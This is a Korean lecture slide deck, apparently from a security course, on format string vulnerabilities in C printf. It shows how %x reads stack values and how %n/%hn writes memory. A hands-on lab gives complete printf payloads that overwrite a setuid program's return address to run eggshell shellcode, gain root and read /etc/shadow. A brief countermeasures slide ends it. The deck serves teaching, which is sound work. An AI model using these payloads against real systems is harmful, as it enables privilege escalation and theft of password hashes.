1 / 37

포맷 스트링

8. 포맷 스트링. 학습목표 포맷 스트링의 취약점을 이해한다. 포맷 스트링 문자를 이용해 스택 값을 읽을 수 있다. 포맷 스트링 문자를 이용해 임의의 주소 값을 변경할 수 있다. 포맷 스트링 공격을 수행할 수 있다. 포맷 스트링 공격를 방어할 수 있다. 내용 포맷 스트링 공격 포맷 스트링 공격에 대한 대응책. 포맷 스트링 공격. 포맷 스트링 공격 1990 년대 말 알려지기 시작 formatstring.c 와 같이 buffer 에 저장된 문자열을 printf 함수 이용해 출력

Download Presentation

포맷 스트링

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 8 포맷 스트링

  2. 학습목표 • 포맷 스트링의 취약점을 이해한다. • 포맷 스트링 문자를 이용해 스택 값을 읽을 수 있다. • 포맷 스트링 문자를 이용해 임의의 주소 값을 변경할 수 있다. • 포맷 스트링 공격을 수행할 수 있다. • 포맷 스트링 공격를 방어할 수 있다. • 내용 • 포맷 스트링 공격 • 포맷 스트링 공격에 대한 대응책

  3. 포맷 스트링 공격 • 포맷 스트링 공격 • 1990년대 말 알려지기 시작 • formatstring.c와 같이 buffer에 저장된 문자열을 printf 함수 이용해 출력 • 이것이 정상적인 코드 작성법, 사용된 %s와 같은 문자열을 가리켜 포맷 스트링이라 함. • formatstring.c • #include <stdio.h> • main(){ • char *buffer = "wishfree"; • printf("%s\n", buffer); • }

  4. 포맷 스트링 공격 [표 8-1] 포맷 스트링 종류

  5. test1.c 컴파일과 실행 [그림 8-1] test1.c 컴파일 및 실행 결과 실습 8-1 포맷 스트링 공격 원리 이해하기 • test1.c • #include <stdio.h> • main(){ • char *buffer = "wishfree\n"; • printf(buffer); • } 1 • gcc -o test1 test1.c • ./test1

  6. test2.c 컴파일과 실행 wishfree 문자열 외에 8048440 출력 이 숫자는 wishfree 문자열이 저장된 다음 메모리에 존재하는 값 0x8048440을의미 [그림 8-2] test2.c 컴파일 및 실행 결과 실습 8-1 포맷 스트링 공격 원리 이해하기 • test2.c • #include <stdio.h> • main(){ • char *buffer = "wishfree\n%x\n"; • printf(buffer); • } 2 • gcc -g -o test2 test2.c • ./test2

  7. gdb에서 0x8048440 값을 확인 printf(buffer); 행에 브레이크 포인트 설정 [그림 8-3] test2 브레이크 포인트 설정 실습 8-1 포맷 스트링 공격 원리 이해하기 • gdb test2 • list • break 5

  8. &buffer 주소에 있는 값이 가리키는 값은 wishfree\n%x\n [그림 8-4] test2 의 buffer를 기준으로 스택 확인 실습 8-1 포맷 스트링 공격 원리 이해하기 • run • print *buffer • print buffer • print &buffer

  9. &buffer 값과 buffer 값의 관계 [그림 8-5] &buffer 주소에 있는 값이 가리키는 값 확인 실습 8-1 포맷 스트링 공격 원리 이해하기

  10. test3.c 컴파일과 실행 test2.c의char *buffer 값에 %x\n%x\n을 추가한 test3.c를 컴파일 gdb로test2.c처럼 스택 값 확인 실습 8-1 포맷 스트링 공격 원리 이해하기 • test3.c • #include <stdio.h> • main(){ • char *buffer = "wishfree\n%x\n%x\n%x\n"; • printf(buffer); • } 3

  11. printf(buffer);에 브레이크 포인트 설정, 실행 [그림 8-7] test3.c 컴파일 및 브레이크 포인트 설정 실습 8-1 포맷 스트링 공격 원리 이해하기 • gcc -g -o test3 test3.c • gdb test3 • list • break 5 • run

  12. &buffer를 기준으로 스택 값 조회하면 0x8048440, 0xbffffd68, 0x400309cb 값 확인 wishfree 문자열 다음 출력되는 값들(0x8048440, 0xbffffd68,0x400309cb)과 일치 ‘wishfree\n%x\n%x\n%x\n’포맷 스트링으로 실행하면, wishfree 다음 \n%x\n%x\n%x\n의 %x 3개가 문자열 자기 자신과 뒤로 이어지는 스택에 저장된 주소 값 출력 [그림 8-8] test3 실행 시 스택 값과 출력 값의 확인 실습 8-1 포맷 스트링 공격 원리 이해하기 • print buffer • print &buffer • x/8xw &buffer • c

  13. test4.c 컴파일과 실행 포맷 스트링을 이용하면 메모리 내용을볼수있을뿐아니라, 변조도가능 실습 8-1 포맷 스트링 공격 원리 이해하기 • test4.c • #include <stdio.h> • main(){ • long i = 0x00000064, j = 1; • printf("i의 주소 : %x\n", &i); • printf("i의 값 : %x\n", i); • printf("%64d%n\n", j, &i); • printf("변경된 i의 값 : %x\n", i); • } 4

  14. printf“( %64d%n\n”, j, &i) : i의주소값에, j에64의16진수값을입력 test4.c를 컴파일, 실행하면 64가 16진수인 0x40로 출력 [그림 8-9] test4.c 실행 결과 실습 8-1 포맷 스트링 공격 원리 이해하기 • gcc -o test4 test4.c • ./test4

  15. test5.c 컴파일과 실행 test5.c는 프로그램 실행 시 메모리 내용 조회가능한 dumpcode.h 파일 함께 사용 실습 8-1 포맷 스트링 공격 원리 이해하기 • test5.c • #include <stdio.h> • #include "dumpcode.h" • main() { • char buffer[64]; • fgets(buffer, 63, stdin); • printf(buffer); • dumpcode((char *)buffer, 96); • } 5 • dumpcode.h • void printchar(unsigned char c) { • if(isprint(c)) • printf("%c", c); • else • printf("."); • }

  16. 실습 8-1 포맷 스트링 공격 원리 이해하기 • void dumpcode(unsigned char *buff, int len) { • int i; • for(i=0;i<len;i++) { • if(i%16==0) • printf("0x%08x ", &buff[i]); • printf("%02x ", buff[i]); • if(i%16-15==0) { • int j; • printf(" "); • for(j=I-15;j<=i;j++) • printchar(buff[j]); • printf("\n"); • } • } • if(i%16!=0) { • int j; • int spaces=(len-i+16-i%16)*3+2; • for(j=0;j<spaces;j++) • printf(" "); • for(j=i-i%16;j<len;j++) • printchar(buff[j]); • } • printf("\n"); • }

  17. test5.c 컴파일, 실행 [그림 8-10] test5.c 실행 결과 실습 8-1 포맷 스트링 공격 원리 이해하기 • gcc -o test5 test5.c • ./test5 • AAAAAAAA

  18. 포맷 스트링 문자를 이용한 메모리 값 변조 아래와 같이 입력하고 실행 [그림 8-11] printf 함수를 이용한 문자열 출력 실습 8-1 포맷 스트링 공격 원리 이해하기 • printf "\x41\x41\x41\x41\x42\x42\x42\x42" 6

  19. printf 함수는 아스키 코드 값을 Hex로 입력해 해당 문자열 출력 printf 함수 이용해 test5.c에 실행 인수 전달 포맷 스트링에서는 다음과 같이 cat 문과 파이프(|) 이용 [그림 8-12] 0xbffffd78 주소에 0x00000009 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%c%%n"; cat) | ./test5

  20. 0xbffffd78∼0xbfffd7c 주소까지의 bcfdffbf(0xbffffdbc) 값이 09 00 00 00(0x00000009)로 바뀜,09는 문자의 개수(\x41\x41\x41\x41\x98\xfd\xff\xbf와 %c까지 합해 9개의 문자) %%n을%%hn으로 입력(%대신%%로 쓰는 것은 cat 지나면서% 하나는사라지기 때문) → 0xbffffd78∼0xbfffd7a 2바이트만이 (09 00)로 바뀜 [그림 8-13] 0xbffffd78 주소에 0x0009 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%c%%hn"; cat) | ./test5

  21. 포맷 스트링 문자를 이용한 메모리 값을 특정 값으로 변조 %%c 대신 %%64d 입력 [그림 8-14] test5를 이용해 0xbffffd98 주소에 0x0048 값 입력 48 00으로 바뀜. 0x48은 10진수로 72(64+8) 이 72는‘\x41\x41\x41\x41\x98\xfd\xff\xbf’문자열의 길이(8바이트)와 %%64d의 64를합한숫자 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%64d%%hn"; cat) | ./test5 7

  22. 포맷 스트링 문자를 이용한 메모리 값을 특정 주소 값으로 변조 0xbfffd78∼ 0xbfffd7c 값을 bc fa ab bf (0xbfabfabc)로 바꿔보자. bfabfabc를 10진수로 바꾼 값 3215719100에서 앞의 8개 문자열의 개수를 제한 값%%3215719092d 시험 [그림 8-15] test5를 이용해 0xbffffd78 주소에 입력 가능 범위 이상의 수 입력 프로그램 비정상적 종료(x86 시스템은 3215719092와 같이 큰 수를 CPU에서 바로 인식할 수 없기 때문) 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%3215719092d%%n"; cat) | ./test5 8

  23. 2바이트씩 나누어 입력해 뒤의 2바이트 0xfabc 입력 0xfabc는 10진수로 64188 결국%%64180d가 됨(입력)→2바이트 변경 완료 [그림 8-16] test5를 이용해 0xbffffd98 주소에 0xfabc 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%64180d%%hn"; cat) | ./test5

  24. 나머지 2바이트 변경 0xbfabfabc는‘-1079248196(0xbfabfabc-0x100000000)’, 스택에 1bfab(114603)을 넣기 위해 이미 입력한 64180을 빼고 50423을 입력 [그림 8-17] test5를 이용해 0xbffffd78 주소에 0xbfbcfac5 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf\x41\x41\x41\x41\x7a\xfd\xff\xbf • %%64180d%%hn%%50423d%%hn"; cat) | ./test5

  25. 64180d 앞에 \x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a \xfd\xff\xbf 총 16개의 문자가 있으므로 원래의 0xfabc(64188)을 표현 위해 64172(64188-16)로 바꾸어야 함 다음에는 합이 0x1bfab(114603)가 되어야 하므로 나머지 값은 114603-(16+64172) 50415가 됨 [그림 8-18] test5를 이용해 0xbffffd78 주소에 0xbfabfabc 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf\x41\x41\x41\x41\x7a\xfd\xff\xbf • %%64172d%%hn%%50415d%%hn"; cat) | ./test5

  26. format_bugfile.c/ eggshell.c 컴파일과 권한 부여 및 실행 프로그램인 format_bugfile.c과 공격 셸을 띄우기 위한 eggshell 컴파일 [그림 8-19] format_bugfile의 동작 확인 실습 8-2 포맷 스트링 공격 수행하기 • format_bugfile.c • #include <stdio.h> • main(){ • int i =0; • char buf[64]; • memset(buf, 0, 64); • read(0, buf, 64); • printf(buf); • dumpcode((char *)buffer, 96); • } 1 • gcc -o format_bugfile format_bugfile.c • gcc -o eggshell eggshell.c • chmod 4755 ./format_bugfile • ./format_bugfile • AAAAAA

  27. ret 주소 확인 AAAAAA와 함께 적당한 길이의%x 입력 [그림 8-20] format_bugfile에 포맷 스트링 문자를 입력할 때 동작 확인 실습 8-2 포맷 스트링 공격 수행하기 • ./format_bugfile • AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 2

  28. ➊ 입력 값으로 넣은 AAAAAA 문자열의 정상적인 출력 값 ➋ 스택에 입력된 앞 부분AAAA 값의 아스키 코드 값(41) ➌ 상위 스택에 저장된AA 값에 대한 아스키 코드 값 ➍ int i=0으로 필자가 확인 지점으로 입력해둔 0이 저장 ➎ 이 함수의 저장된 ebp 값(sfp) ➏ main 함수의 ret 값 실습 8-2 포맷 스트링 공격 수행하기 • AAAAAA4141414125204141 78252078 20782520 25207825 78252078 • ➊ ➋ ➌ • 20782520 25207825 78252078 20782520 25207825 78252078 20782520 • 25207825 78252078 a782520 0bffffd68400309cb • ➍ ➎ ➏

  29. 실습 8-2 포맷 스트링 공격 수행하기

  30. Gab에서 주소 확인 해당 메모리의 주소도 확인 [그림 8-22] format_bugfile의 main 함수의 어셈블리어 코드 확인 실습 8-2 포맷 스트링 공격 수행하기 • gdb format_bugfile • disass main 3

  31. sfp와 ret 확인 위해 main+3에 브레이크 포인트 설정 실행 [그림 8-23] sfp와 ret 값을 확인하기 위한 break 지점 설정 후 실행 ➏값인0x4000309cb가 우리가 생각한 ret와 일치 [그림 8-24] sfp와 ret 값의 주소 값 확인 format_bugfile이 실행되어 0xbfffd38에 sfp, 0xbfffd3c에 ret 주소가 저장 실습 8-2 포맷 스트링 공격 수행하기 • break *0x804842b • run • info reg $ebp • x/12 $ebp

  32. 실제 ret 주소 확인 eggshell이 메모리에 계속 남게 되므로, ret 주소 값도 달라짐 이러한 실행에서는 단순히 상대적인 실행 주소 확인 Sfp 값인 bffffd68와 확인한 0xbffffd3c 값의 차이 0x2c 이용해야 함 [그림 8-25] eggshell의 실행 실습 8-2 포맷 스트링 공격 수행하기 • su wishfree • ./eggshell 4

  33. eggshell을 올린 후 다시 format_bugfile을 실행해 sfp 주소 확인 Sfp는 0xbffff368, sfp와 ret 주소 값의 차이가 0x2c,ret 주소는 0xbffff33c (0xbffff368- 0x2c)가 될 것 [그림 8-26] eggshell의 실행 후 변화된 format_bugfile의 sfp 확인 실습 8-2 포맷 스트링 공격 수행하기 • ./format_bugfile • AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

  34. 포맷 스트링 공격 수행 format_bugfile의 ret 주소(0xbffff33c∼0xbffff33f)에 eggshell에서 확보한 0xbffffd38 입력 0xbffffd18에 1을 붙여 1bfff와 fd18로 나누고 각각 10진수를 구한다. 0xbffff33c에는 49895(114687-64792) 값 입력 0xbffff33e에는 주소지에 대한 값인 16개의 문자가 들어가므로 64776(64792-16)입력 (printf““;cat) | ./bugfile 형식에 위의 코드를 입력해 실제 공격 [그림 8-27] 포맷 스트링 공격 실시 실습 8-2 포맷 스트링 공격 수행하기 • ./format_bugfile • AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 5 • \x41\x41\x41\x41\x3c\xf3\xff\xbf\x41\x41\x41\x41\x3e\xf3\xff\xbf%%64776d%%h • n%%49895d%%hn • (printf "\x41\x41\x41\x41\x3c\xf3\xff\xbf\x41\x41\x41\x41\x3e\xf3\xff\xbf% • %64776d%%hn%%49895d%%hn";cat) | ./format_bugfile

  35. 관리자 계정 획득 [그림 8-28] 관리자 권한 확인 실습 8-2 포맷 스트링 공격 수행하기 • id • cat /etc/shadow

  36. 포맷 스트링 공격에 대한 대응책 • printf 함수를 정상적으로 사용하여 공격에 대응 • 포맷 스트링 공격 취약점을 가진 함수 • fprintf(fp, 서식 문자열, 인자1, ... , 인자N) 함수 • sprintf(char *str, const char *fmt,...) 함수 • snprintf(char *str, size_t count, const char *fmt, ...) 함수 • printf("%s\n", buffer); • fp= fopen("/dev/null", "w"); // 파일을 쓰기 모드로 오픈 • fprintf(fp, "decimal=%d octal=%o", 123,123); • a= sprintf("decimal= %d octal= %o", 123,123); • print(" ", a); • decimal= 123 octal= 173

More Related